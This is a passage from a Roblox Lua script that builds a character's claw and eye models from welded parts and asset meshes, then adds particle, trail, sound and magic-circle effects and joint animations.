  3000. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  3001. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3002. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  3003. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3004. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  3005. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3006. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  3007. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3008. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3009. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  3010. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3011. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  3012. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3013. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  3014. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  3015. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  3016. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3017. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  3018. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3019. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3020. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  3021. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3022.  
  3023. local modelzorzz2=Instance.new("Model")
  3024. modelzorzz2.Parent=Character
  3025. modelzorzz2.Name="Claw2"
  3026.  
  3027. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  3028. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  3029. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  3030. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3031. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  3032. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3033. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  3034. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3035. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  3036. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3037. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  3038. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3039. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3040. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  3041. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3042. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3043. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  3044. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3045. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  3046. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3047. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3048. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  3049. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3050. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  3051. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3052. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3053. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  3054. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  3055. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  3056. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  3057. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3058. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  3059. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3060. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  3061. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3062. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  3063. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  3064. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  3065. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  3066. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  3067. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  3068.  
  3069. local modelzorzz3=Instance.new("Model")
  3070. modelzorzz3.Parent=Character
  3071. modelzorzz3.Name="Eye"
  3072.  
  3073. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3074. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  3075. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  3076. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3077. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3078. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  3079. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  3080. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3081. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  3082. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  3083. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3084. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  3085. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  3086. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  3087. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  3088. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3089. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  3090. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3091. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  3092. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3093. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  3094. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  3095. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  3096.  
  3097. p = owner
  3098. char = p.Character
  3099. torso = char.Torso
  3100. neck = char.Torso.Neck
  3101. hum = char.Humanoid
  3102. hum.MaxHealth = 1527500
  3103. wait()
  3104. hum.Health =hum.MaxHealth
  3105.  
  3106. local particleemitter = Instance.new("ParticleEmitter", Handle)
  3107. particleemitter.VelocitySpread = 180
  3108. particleemitter.Lifetime = NumberRange.new(0.1)
  3109. particleemitter.Speed = NumberRange.new(2)
  3110. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3111. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3112. particleemitter.Rate = 100
  3113. particleemitter.Rotation = NumberRange.new(-45, 45)
  3114. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3115. particleemitter.LightEmission = 0.8
  3116. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3117.  
  3118. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  3119. particleemitter.VelocitySpread = 180
  3120. particleemitter.Lifetime = NumberRange.new(0.1)
  3121. particleemitter.Speed = NumberRange.new(2)
  3122. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  3123. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3124. particleemitter.Rate = 100
  3125. particleemitter.Rotation = NumberRange.new(-45, 45)
  3126. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3127. particleemitter.LightEmission = 0.8
  3128. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3129.  
  3130. local particleemitter = Instance.new("ParticleEmitter", handle)
  3131. particleemitter.VelocitySpread = 180
  3132. particleemitter.Lifetime = NumberRange.new(0.1)
  3133. particleemitter.Speed = NumberRange.new(2)
  3134. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  3135. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  3136. particleemitter.Rate = 100
  3137. particleemitter.Rotation = NumberRange.new(-45, 45)
  3138. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  3139. particleemitter.LightEmission = 0.8
  3140. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  3141.  
  3142. particleemitter.Enabled = true
  3143. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025)
  3144. MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025)
  3145. so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475)
  3146. so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75)
  3147. for i=0,1,0.005 do
  3148. swait()
  3149. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  3150. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  3151. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  3152. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  3153. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  3154. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3155. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3156. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  3157. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  3158. end
  3159. for i=0,1,0.04 do
  3160. swait()
  3161. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3162. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3163. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3164. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3165. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3166. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3167. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3168. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3169. end
  3170. attack = false
  3171. end
  3172. end
  3173. end)
  3174.  
  3175. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  3176. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  3177. prt.Anchored=true
  3178. prt.CFrame=cframe
  3179. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  3180. game:GetService("Debris"):AddItem(prt,2)
  3181. coroutine.resume(coroutine.create(function(Part,Mesh)
  3182. for i=0,1,delay do
  3183. wait()
  3184. Part.CFrame=Part.CFrame
  3185. Part.Transparency=i
  3186. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  3187. end
  3188. Part.Parent=nil
  3189. end),prt,msh)
  3190. end
  3191.  
  3192. TrailDeb = false
  3193.  
  3194. function equipanim()
  3195. attack=true
  3196. Humanoid.WalkSpeed = 0
  3197. if TrailDeb == false then
  3198. TrailDeb = true
  3199. end
  3200.  
  3201.  
  3202. coroutine.wrap(function()
  3203. local Old = handle.CFrame.p
  3204. while wait()do
  3205. if not TrailDeb then break end
  3206. local New = handle.CFrame.p
  3207. local Mag =(Old -New).magnitude
  3208. local Dis =(Old +New)/2
  3209. local Trail = Instance.new("Part",Character)
  3210. Trail.Material = "Neon"
  3211. Trail.Anchored = true
  3212. Trail.CanCollide = false
  3213. Trail.BrickColor = TorsoColor
  3214. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3215. Trail.TopSurface = 0
  3216. Trail.BottomSurface = 0
  3217. Trail.formFactor = "Custom"
  3218. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3219. local ms = Instance.new("BlockMesh",Trail)
  3220. ms.Scale = Vector3.new(1,1,1)
  3221. local TM = Instance.new("CylinderMesh",Trail)
  3222. TM.Scale = Vector3.new(1,1,1)
  3223. Old = New
  3224. coroutine.wrap(function()
  3225. for i = 1,0,-0.1 do
  3226. wait()
  3227. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3228. end
  3229. Trail:remove()
  3230. end)()
  3231. coroutine.wrap(function()
  3232. for i = 1,10 do
  3233. wait()
  3234. Trail.Transparency = Trail.Transparency +0.1
  3235. end end)()end end)()
  3236. coroutine.wrap(function()
  3237. local Old = Handle.CFrame.p
  3238. while wait()do
  3239. if not TrailDeb then break end
  3240. local New = Handle.CFrame.p
  3241. local Mag =(Old -New).magnitude
  3242. local Dis =(Old +New)/2
  3243. local Trail = Instance.new("Part",Character)
  3244. Trail.Material = "Neon"
  3245. Trail.Anchored = true
  3246. Trail.CanCollide = false
  3247. Trail.BrickColor = TorsoColor
  3248. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3249. Trail.TopSurface = 0
  3250. Trail.BottomSurface = 0
  3251. Trail.formFactor = "Custom"
  3252. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3253. local ms = Instance.new("BlockMesh",Trail)
  3254. ms.Scale = Vector3.new(1,1,1)
  3255. local TM = Instance.new("CylinderMesh",Trail)
  3256. TM.Scale = Vector3.new(1,1,1)
  3257. Old = New
  3258. coroutine.wrap(function()
  3259. for i = 1,0,-0.1 do
  3260. wait()
  3261. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3262. end
  3263. Trail:remove()
  3264. end)()
  3265. coroutine.wrap(function()
  3266. for i = 1,10 do
  3267. wait()
  3268. Trail.Transparency = Trail.Transparency +0.1
  3269. end end)()end end)()
  3270. coroutine.wrap(function()
  3271. local Old = Handle2.CFrame.p
  3272. while wait()do
  3273. if not TrailDeb then break end
  3274. local New = Handle2.CFrame.p
  3275. local Mag =(Old -New).magnitude
  3276. local Dis =(Old +New)/2
  3277. local Trail = Instance.new("Part",Character)
  3278. Trail.Material = "Neon"
  3279. Trail.Anchored = true
  3280. Trail.CanCollide = false
  3281. Trail.BrickColor = TorsoColor
  3282. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3283. Trail.TopSurface = 0
  3284. Trail.BottomSurface = 0
  3285. Trail.formFactor = "Custom"
  3286. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3287. local ms = Instance.new("BlockMesh",Trail)
  3288. ms.Scale = Vector3.new(1,1,1)
  3289. local TM = Instance.new("CylinderMesh",Trail)
  3290. TM.Scale = Vector3.new(1,1,1)
  3291. Old = New
  3292. coroutine.wrap(function()
  3293. for i = 1,0,-0.1 do
  3294. wait()
  3295. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3296. end
  3297. Trail:remove()
  3298. end)()
  3299. coroutine.wrap(function()
  3300. for i = 1,10 do
  3301. wait()
  3302. Trail.Transparency = Trail.Transparency +0.1
  3303. end end)()end end)()
  3304. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  3305. for i=0,1,0.005 do
  3306. swait()
  3307. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
